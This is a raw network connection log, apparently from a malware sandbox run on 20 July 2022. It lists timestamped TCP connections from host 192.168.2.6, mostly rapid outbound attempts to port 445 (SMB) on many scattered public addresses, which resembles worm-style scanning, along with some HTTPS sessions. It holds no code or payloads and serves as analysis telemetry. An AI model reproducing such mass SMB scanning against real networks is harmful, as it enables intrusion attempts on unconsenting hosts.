Jul 20, 2022 09:10:13.135938883 CEST	55940	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:13.135962009 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.333030939 CEST	445	55874	121.103.14.196	192.168.2.6
Jul 20, 2022 09:10:13.349410057 CEST	55948	445	192.168.2.6	179.40.116.245
Jul 20, 2022 09:10:13.349421024 CEST	55949	445	192.168.2.6	110.243.70.201
Jul 20, 2022 09:10:13.349518061 CEST	55950	445	192.168.2.6	139.50.207.200
Jul 20, 2022 09:10:13.349639893 CEST	55954	445	192.168.2.6	79.95.125.137
Jul 20, 2022 09:10:13.349673033 CEST	55953	445	192.168.2.6	138.36.141.243
Jul 20, 2022 09:10:13.349805117 CEST	55955	445	192.168.2.6	76.147.119.66
Jul 20, 2022 09:10:13.349829912 CEST	55956	445	192.168.2.6	198.31.37.184
Jul 20, 2022 09:10:13.349927902 CEST	55957	445	192.168.2.6	173.46.207.47
Jul 20, 2022 09:10:13.363495111 CEST	55960	445	192.168.2.6	40.236.233.0
Jul 20, 2022 09:10:13.364187956 CEST	55963	445	192.168.2.6	191.83.176.81
Jul 20, 2022 09:10:13.364554882 CEST	55969	445	192.168.2.6	42.199.10.173
Jul 20, 2022 09:10:13.364568949 CEST	55968	445	192.168.2.6	107.87.69.14
Jul 20, 2022 09:10:13.364754915 CEST	55970	445	192.168.2.6	154.124.20.225
Jul 20, 2022 09:10:13.388906956 CEST	55973	445	192.168.2.6	149.48.146.202
Jul 20, 2022 09:10:13.390628099 CEST	55975	445	192.168.2.6	11.153.93.103
Jul 20, 2022 09:10:13.392756939 CEST	55978	445	192.168.2.6	158.16.7.68
Jul 20, 2022 09:10:13.393368959 CEST	55979	445	192.168.2.6	3.237.165.177
Jul 20, 2022 09:10:13.395560026 CEST	55982	445	192.168.2.6	182.225.183.46
Jul 20, 2022 09:10:13.399286985 CEST	55987	445	192.168.2.6	89.56.233.42
Jul 20, 2022 09:10:13.421097994 CEST	55989	445	192.168.2.6	174.176.29.80
Jul 20, 2022 09:10:13.439227104 CEST	55990	445	192.168.2.6	222.49.246.201
Jul 20, 2022 09:10:13.439941883 CEST	55992	445	192.168.2.6	2.114.119.100
Jul 20, 2022 09:10:13.440176964 CEST	55998	445	192.168.2.6	151.215.54.221
Jul 20, 2022 09:10:13.440368891 CEST	55999	445	192.168.2.6	169.73.168.158
Jul 20, 2022 09:10:13.440505028 CEST	56002	445	192.168.2.6	35.169.160.82
Jul 20, 2022 09:10:13.440510988 CEST	56003	445	192.168.2.6	12.105.9.84
Jul 20, 2022 09:10:13.477744102 CEST	56008	445	192.168.2.6	57.2.66.61
Jul 20, 2022 09:10:13.478209019 CEST	56009	445	192.168.2.6	188.49.161.16
Jul 20, 2022 09:10:13.529444933 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.529637098 CEST	55940	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:13.537209034 CEST	55940	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:13.537225962 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.537501097 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.538953066 CEST	55940	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:13.579009056 CEST	445	56009	188.49.161.16	192.168.2.6
Jul 20, 2022 09:10:13.580502987 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.651295900 CEST	445	55963	191.83.176.81	192.168.2.6
Jul 20, 2022 09:10:13.800617933 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.800664902 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.800683975 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.800765038 CEST	55940	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:13.800785065 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.800803900 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.800860882 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.800878048 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.800925970 CEST	55940	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:13.800987959 CEST	55940	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:13.803986073 CEST	55940	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:13.804028034 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.804039955 CEST	55940	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:13.804049015 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.956444025 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:13.956497908 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:13.956671000 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:13.957043886 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:13.957052946 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:13.965449095 CEST	55192	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:13.996761084 CEST	55189	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:14.101387978 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.101547956 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:14.106167078 CEST	56009	445	192.168.2.6	188.49.161.16
Jul 20, 2022 09:10:14.116111994 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:14.116136074 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.116548061 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.118288994 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:14.160506010 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.170586109 CEST	56019	445	192.168.2.6	139.209.250.243
Jul 20, 2022 09:10:14.172678947 CEST	56022	445	192.168.2.6	21.205.167.155
Jul 20, 2022 09:10:14.208107948 CEST	55963	445	192.168.2.6	191.83.176.81
Jul 20, 2022 09:10:14.208312035 CEST	445	56009	188.49.161.16	192.168.2.6
Jul 20, 2022 09:10:14.210313082 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.210345030 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.210370064 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.210479975 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:14.210504055 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.210525036 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.210552931 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.210594893 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:14.210630894 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.210665941 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:14.210747957 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:14.233421087 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:14.233469009 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.233494043 CEST	56017	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:14.233505011 CEST	443	56017	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:14.478630066 CEST	56025	445	192.168.2.6	36.36.70.234
Jul 20, 2022 09:10:14.479655027 CEST	56026	445	192.168.2.6	153.72.104.46
Jul 20, 2022 09:10:14.482525110 CEST	56028	445	192.168.2.6	144.111.216.220
Jul 20, 2022 09:10:14.493545055 CEST	445	55963	191.83.176.81	192.168.2.6
Jul 20, 2022 09:10:14.496762037 CEST	55516	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:14.502039909 CEST	56030	445	192.168.2.6	111.155.140.117
Jul 20, 2022 09:10:14.502604961 CEST	56032	445	192.168.2.6	2.158.95.251
Jul 20, 2022 09:10:14.502656937 CEST	56031	445	192.168.2.6	192.93.189.95
Jul 20, 2022 09:10:14.502796888 CEST	56034	445	192.168.2.6	169.249.1.89
Jul 20, 2022 09:10:14.502818108 CEST	56033	445	192.168.2.6	171.160.24.16
Jul 20, 2022 09:10:14.503659010 CEST	56043	445	192.168.2.6	189.52.85.93
Jul 20, 2022 09:10:14.503695011 CEST	56044	445	192.168.2.6	37.202.106.202
Jul 20, 2022 09:10:14.503954887 CEST	56045	445	192.168.2.6	161.10.190.140
Jul 20, 2022 09:10:14.504440069 CEST	56051	445	192.168.2.6	181.121.48.163
Jul 20, 2022 09:10:14.504781008 CEST	56054	445	192.168.2.6	135.95.237.35
Jul 20, 2022 09:10:14.530287027 CEST	56055	445	192.168.2.6	136.18.71.201
Jul 20, 2022 09:10:14.533029079 CEST	56058	445	192.168.2.6	212.46.240.215
Jul 20, 2022 09:10:14.533322096 CEST	56062	445	192.168.2.6	29.125.82.137
Jul 20, 2022 09:10:14.533624887 CEST	56061	445	192.168.2.6	183.95.70.228
Jul 20, 2022 09:10:14.533850908 CEST	56065	445	192.168.2.6	189.46.128.79
Jul 20, 2022 09:10:14.534262896 CEST	56068	445	192.168.2.6	184.173.78.18
Jul 20, 2022 09:10:14.547017097 CEST	56072	445	192.168.2.6	197.240.134.30
Jul 20, 2022 09:10:14.548590899 CEST	56074	445	192.168.2.6	207.154.241.231
Jul 20, 2022 09:10:14.549518108 CEST	56075	445	192.168.2.6	217.90.41.11
Jul 20, 2022 09:10:14.551161051 CEST	56077	445	192.168.2.6	210.156.28.191
Jul 20, 2022 09:10:14.554469109 CEST	56083	445	192.168.2.6	56.195.23.155
Jul 20, 2022 09:10:14.555625916 CEST	56085	445	192.168.2.6	131.29.50.133
Jul 20, 2022 09:10:14.556219101 CEST	56086	445	192.168.2.6	146.120.157.42
Jul 20, 2022 09:10:14.625087976 CEST	56095	445	192.168.2.6	76.149.230.163
Jul 20, 2022 09:10:14.627723932 CEST	56096	445	192.168.2.6	124.156.216.12
Jul 20, 2022 09:10:14.778007030 CEST	55514	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:14.809242010 CEST	55513	445	192.168.2.6	155.101.152.179
Jul 20, 2022 09:10:15.459183931 CEST	56102	445	192.168.2.6	78.175.68.123
Jul 20, 2022 09:10:15.460671902 CEST	56105	445	192.168.2.6	197.141.193.138
Jul 20, 2022 09:10:15.676940918 CEST	56106	445	192.168.2.6	72.110.183.126
Jul 20, 2022 09:10:15.677478075 CEST	56107	445	192.168.2.6	56.99.220.80
Jul 20, 2022 09:10:15.680279970 CEST	56109	445	192.168.2.6	185.130.37.209
Jul 20, 2022 09:10:15.683583975 CEST	56115	445	192.168.2.6	151.110.179.209
Jul 20, 2022 09:10:15.686693907 CEST	56117	445	192.168.2.6	115.210.249.114
Jul 20, 2022 09:10:15.687246084 CEST	56118	445	192.168.2.6	189.39.55.214
Jul 20, 2022 09:10:15.688271046 CEST	56120	445	192.168.2.6	99.208.21.128
Jul 20, 2022 09:10:15.690207958 CEST	56124	445	192.168.2.6	215.219.120.187
Jul 20, 2022 09:10:15.691978931 CEST	56127	445	192.168.2.6	26.233.109.27
Jul 20, 2022 09:10:15.692522049 CEST	56128	445	192.168.2.6	46.205.74.162
Jul 20, 2022 09:10:15.694061995 CEST	56131	445	192.168.2.6	214.77.162.132
Jul 20, 2022 09:10:15.695502043 CEST	56134	445	192.168.2.6	92.32.66.10
Jul 20, 2022 09:10:15.696966887 CEST	56137	445	192.168.2.6	181.219.236.209
Jul 20, 2022 09:10:15.697504044 CEST	56138	445	192.168.2.6	104.247.246.117
Jul 20, 2022 09:10:15.698004007 CEST	56139	445	192.168.2.6	153.164.94.91
Jul 20, 2022 09:10:15.698553085 CEST	56140	445	192.168.2.6	133.140.96.2
Jul 20, 2022 09:10:15.699063063 CEST	56141	445	192.168.2.6	90.185.50.78
Jul 20, 2022 09:10:15.699577093 CEST	56142	445	192.168.2.6	102.182.223.78
Jul 20, 2022 09:10:15.704925060 CEST	56151	445	192.168.2.6	156.27.58.19
Jul 20, 2022 09:10:15.705490112 CEST	56152	445	192.168.2.6	136.82.153.237
Jul 20, 2022 09:10:15.706525087 CEST	56154	445	192.168.2.6	156.21.185.131
Jul 20, 2022 09:10:15.709578991 CEST	56160	445	192.168.2.6	215.72.231.172
Jul 20, 2022 09:10:15.710587978 CEST	56162	445	192.168.2.6	55.77.35.129
Jul 20, 2022 09:10:15.711587906 CEST	56164	445	192.168.2.6	178.83.167.103
Jul 20, 2022 09:10:15.712577105 CEST	56166	445	192.168.2.6	107.164.206.48
Jul 20, 2022 09:10:15.713138103 CEST	56167	445	192.168.2.6	33.165.50.41
Jul 20, 2022 09:10:15.787872076 CEST	56175	445	192.168.2.6	65.201.118.126
Jul 20, 2022 09:10:15.788474083 CEST	56176	445	192.168.2.6	149.173.179.176
Jul 20, 2022 09:10:16.729360104 CEST	56181	445	192.168.2.6	54.130.107.202
Jul 20, 2022 09:10:16.730830908 CEST	56184	445	192.168.2.6	123.40.27.212
Jul 20, 2022 09:10:16.830307961 CEST	56188	445	192.168.2.6	69.223.233.59
Jul 20, 2022 09:10:16.831108093 CEST	56189	445	192.168.2.6	157.87.209.62
Jul 20, 2022 09:10:16.831878901 CEST	56190	445	192.168.2.6	126.238.63.192
Jul 20, 2022 09:10:16.832614899 CEST	56191	445	192.168.2.6	64.107.63.13
Jul 20, 2022 09:10:16.834656954 CEST	56194	445	192.168.2.6	37.226.169.162
Jul 20, 2022 09:10:16.836920977 CEST	56197	445	192.168.2.6	57.189.156.161
Jul 20, 2022 09:10:16.838973999 CEST	56200	445	192.168.2.6	112.139.171.133
Jul 20, 2022 09:10:16.839696884 CEST	56201	445	192.168.2.6	210.44.75.130
Jul 20, 2022 09:10:16.842302084 CEST	56204	445	192.168.2.6	69.241.246.13
Jul 20, 2022 09:10:17.058387041 CEST	56208	445	192.168.2.6	147.162.148.222
Jul 20, 2022 09:10:17.058504105 CEST	56210	445	192.168.2.6	101.92.233.171
Jul 20, 2022 09:10:17.058640957 CEST	56211	445	192.168.2.6	112.137.97.174
Jul 20, 2022 09:10:17.058784962 CEST	56213	445	192.168.2.6	136.109.187.251
Jul 20, 2022 09:10:17.059096098 CEST	56219	445	192.168.2.6	147.178.165.74
Jul 20, 2022 09:10:17.059237957 CEST	56221	445	192.168.2.6	128.147.140.74
Jul 20, 2022 09:10:17.059503078 CEST	56222	445	192.168.2.6	120.252.156.49
Jul 20, 2022 09:10:17.059607983 CEST	56223	445	192.168.2.6	150.56.98.111
Jul 20, 2022 09:10:17.059855938 CEST	56224	445	192.168.2.6	134.211.95.138
Jul 20, 2022 09:10:17.060503960 CEST	56233	445	192.168.2.6	97.92.183.24
Jul 20, 2022 09:10:17.060630083 CEST	56234	445	192.168.2.6	203.131.218.117
Jul 20, 2022 09:10:17.060749054 CEST	56236	445	192.168.2.6	74.30.114.164
Jul 20, 2022 09:10:17.061033964 CEST	56242	445	192.168.2.6	93.51.156.211
Jul 20, 2022 09:10:17.061166048 CEST	56244	445	192.168.2.6	210.105.200.217
Jul 20, 2022 09:10:17.061320066 CEST	56246	445	192.168.2.6	38.5.247.75
Jul 20, 2022 09:10:17.061441898 CEST	56248	445	192.168.2.6	76.91.186.62
Jul 20, 2022 09:10:17.061533928 CEST	56249	445	192.168.2.6	171.69.116.169
Jul 20, 2022 09:10:17.063215971 CEST	56258	445	192.168.2.6	95.147.1.71
Jul 20, 2022 09:10:17.063327074 CEST	56259	445	192.168.2.6	48.77.33.20
Jul 20, 2022 09:10:17.287755013 CEST	445	56248	76.91.186.62	192.168.2.6
Jul 20, 2022 09:10:17.809475899 CEST	56248	445	192.168.2.6	76.91.186.62
Jul 20, 2022 09:10:18.030356884 CEST	445	56248	76.91.186.62	192.168.2.6
Jul 20, 2022 09:10:18.731071949 CEST	56263	445	192.168.2.6	105.149.124.108
Jul 20, 2022 09:10:18.739712954 CEST	56265	445	192.168.2.6	104.69.92.132
Jul 20, 2022 09:10:18.740487099 CEST	56266	445	192.168.2.6	139.250.244.250
Jul 20, 2022 09:10:18.746514082 CEST	56275	445	192.168.2.6	119.169.157.201
Jul 20, 2022 09:10:18.748106956 CEST	56276	445	192.168.2.6	56.218.179.14
Jul 20, 2022 09:10:18.748918056 CEST	56277	445	192.168.2.6	12.66.143.171
Jul 20, 2022 09:10:18.749672890 CEST	56278	445	192.168.2.6	50.140.170.173
Jul 20, 2022 09:10:18.754913092 CEST	56286	445	192.168.2.6	172.60.159.235
Jul 20, 2022 09:10:18.756103992 CEST	56288	445	192.168.2.6	143.18.62.190
Jul 20, 2022 09:10:18.756711960 CEST	56289	445	192.168.2.6	129.16.25.63
Jul 20, 2022 09:10:18.757720947 CEST	56291	445	192.168.2.6	151.132.172.217
Jul 20, 2022 09:10:18.759773016 CEST	56295	445	192.168.2.6	33.113.42.131
Jul 20, 2022 09:10:18.760803938 CEST	56297	445	192.168.2.6	95.17.210.115
Jul 20, 2022 09:10:18.761351109 CEST	56298	445	192.168.2.6	197.214.155.219
Jul 20, 2022 09:10:18.761884928 CEST	56299	445	192.168.2.6	8.55.179.68
Jul 20, 2022 09:10:18.762456894 CEST	56300	445	192.168.2.6	190.93.14.16
Jul 20, 2022 09:10:18.820066929 CEST	56303	445	192.168.2.6	104.101.99.251
Jul 20, 2022 09:10:18.821562052 CEST	56306	445	192.168.2.6	189.203.56.143
Jul 20, 2022 09:10:18.969985962 CEST	56309	445	192.168.2.6	222.2.133.251
Jul 20, 2022 09:10:18.970077991 CEST	56310	445	192.168.2.6	29.218.19.81
Jul 20, 2022 09:10:18.970320940 CEST	56316	445	192.168.2.6	221.183.8.13
Jul 20, 2022 09:10:18.970494032 CEST	56319	445	192.168.2.6	59.25.121.25
Jul 20, 2022 09:10:18.970824957 CEST	56327	445	192.168.2.6	158.215.196.152
Jul 20, 2022 09:10:18.970890999 CEST	56328	445	192.168.2.6	14.127.173.146
Jul 20, 2022 09:10:18.970993042 CEST	56330	445	192.168.2.6	21.174.167.214
Jul 20, 2022 09:10:18.971122026 CEST	56332	445	192.168.2.6	20.136.189.152
Jul 20, 2022 09:10:18.971275091 CEST	56334	445	192.168.2.6	75.244.67.115
Jul 20, 2022 09:10:18.971638918 CEST	56341	445	192.168.2.6	212.200.95.197
Jul 20, 2022 09:10:18.971709013 CEST	56342	445	192.168.2.6	208.132.141.107
Jul 20, 2022 09:10:19.293540001 CEST	56345	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:19.293589115 CEST	443	56345	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:19.293663979 CEST	56345	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:19.295131922 CEST	56345	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:19.295159101 CEST	443	56345	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:19.399517059 CEST	443	56345	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:19.399616957 CEST	56345	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:19.401776075 CEST	56345	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:19.401797056 CEST	443	56345	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:19.402261972 CEST	443	56345	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:19.406997919 CEST	56345	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:19.407041073 CEST	56345	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:19.407072067 CEST	443	56345	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:19.407196045 CEST	56345	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:19.437055111 CEST	443	56345	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:19.437160015 CEST	443	56345	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:19.437249899 CEST	56345	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:19.437349081 CEST	56345	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:19.437367916 CEST	443	56345	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:19.600698948 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.600740910 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.600810051 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.601387978 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.601416111 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.733933926 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.734075069 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.737984896 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.738010883 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.738440037 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.740112066 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.780508995 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.784007072 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:19.784054041 CEST	443	56348	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:19.784166098 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:19.784429073 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:19.784450054 CEST	443	56348	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:19.824635029 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.824672937 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.824700117 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.824788094 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.824817896 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.824835062 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.824872971 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.824913025 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.824920893 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.824934959 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.824949980 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.824985981 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.832196951 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.832233906 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.832245111 CEST	56346	443	192.168.2.6	20.54.89.106
Jul 20, 2022 09:10:19.832253933 CEST	443	56346	20.54.89.106	192.168.2.6
Jul 20, 2022 09:10:19.855957985 CEST	56354	445	192.168.2.6	169.124.187.78
Jul 20, 2022 09:10:19.856072903 CEST	56355	445	192.168.2.6	100.59.219.253
Jul 20, 2022 09:10:19.856136084 CEST	56356	445	192.168.2.6	41.239.88.164
Jul 20, 2022 09:10:19.856355906 CEST	56358	445	192.168.2.6	64.107.251.114
Jul 20, 2022 09:10:19.867991924 CEST	56362	445	192.168.2.6	11.104.172.33
Jul 20, 2022 09:10:19.867995977 CEST	56363	445	192.168.2.6	171.103.213.9
Jul 20, 2022 09:10:19.868006945 CEST	56365	445	192.168.2.6	159.158.39.34
Jul 20, 2022 09:10:19.868042946 CEST	56366	445	192.168.2.6	42.193.33.224
Jul 20, 2022 09:10:19.868118048 CEST	56367	445	192.168.2.6	52.212.31.122
Jul 20, 2022 09:10:19.868248940 CEST	56370	445	192.168.2.6	219.91.75.235
Jul 20, 2022 09:10:19.868381977 CEST	56373	445	192.168.2.6	198.39.12.192
Jul 20, 2022 09:10:19.868396997 CEST	56374	445	192.168.2.6	72.177.122.244
Jul 20, 2022 09:10:19.868702888 CEST	56383	445	192.168.2.6	213.113.235.202
Jul 20, 2022 09:10:19.868726969 CEST	56382	445	192.168.2.6	25.221.183.26
Jul 20, 2022 09:10:19.868729115 CEST	56377	445	192.168.2.6	126.89.87.93
Jul 20, 2022 09:10:19.868832111 CEST	56385	445	192.168.2.6	95.249.97.8
Jul 20, 2022 09:10:19.868983030 CEST	56386	445	192.168.2.6	150.61.116.12
Jul 20, 2022 09:10:19.923571110 CEST	443	56348	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:19.923701048 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:19.937429905 CEST	56389	445	192.168.2.6	31.132.215.18
Jul 20, 2022 09:10:19.939826965 CEST	445	56385	95.249.97.8	192.168.2.6
Jul 20, 2022 09:10:19.939954996 CEST	56392	445	192.168.2.6	212.81.241.247
Jul 20, 2022 09:10:19.985853910 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:19.985884905 CEST	443	56348	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:20.013936996 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.013974905 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.014080048 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.015434980 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.015455008 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.058501959 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:20.058526039 CEST	443	56348	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:20.058693886 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:20.058705091 CEST	443	56348	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:20.078768969 CEST	445	56363	171.103.213.9	192.168.2.6
Jul 20, 2022 09:10:20.092631102 CEST	56395	445	192.168.2.6	80.172.145.126
Jul 20, 2022 09:10:20.094405890 CEST	56397	445	192.168.2.6	121.183.232.185
Jul 20, 2022 09:10:20.097636938 CEST	56402	445	192.168.2.6	94.235.201.7
Jul 20, 2022 09:10:20.099828959 CEST	56406	445	192.168.2.6	116.125.253.91
Jul 20, 2022 09:10:20.100440025 CEST	56407	445	192.168.2.6	169.49.20.134
Jul 20, 2022 09:10:20.101761103 CEST	56409	445	192.168.2.6	17.19.120.49
Jul 20, 2022 09:10:20.102400064 CEST	56410	445	192.168.2.6	152.206.120.61
Jul 20, 2022 09:10:20.120500088 CEST	56419	445	192.168.2.6	208.13.49.108
Jul 20, 2022 09:10:20.120614052 CEST	56421	445	192.168.2.6	84.172.2.12
Jul 20, 2022 09:10:20.129772902 CEST	56428	445	192.168.2.6	67.249.206.8
Jul 20, 2022 09:10:20.129890919 CEST	56429	445	192.168.2.6	192.228.90.238
Jul 20, 2022 09:10:20.147970915 CEST	443	56348	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:20.148039103 CEST	443	56348	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:20.148068905 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:20.148113966 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:20.156204939 CEST	445	56377	126.89.87.93	192.168.2.6
Jul 20, 2022 09:10:20.158184052 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:20.158215046 CEST	443	56348	20.82.209.183	192.168.2.6
Jul 20, 2022 09:10:20.158226013 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:20.158277035 CEST	56348	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:10:20.481589079 CEST	56385	445	192.168.2.6	95.249.97.8
Jul 20, 2022 09:10:20.522391081 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.522526026 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.528047085 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.528063059 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.528326035 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.532164097 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.551374912 CEST	445	56385	95.249.97.8	192.168.2.6
Jul 20, 2022 09:10:20.576509953 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.577534914 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.577579975 CEST	443	56432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:20.577677011 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.578186989 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.578208923 CEST	443	56432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:20.669135094 CEST	56363	445	192.168.2.6	171.103.213.9
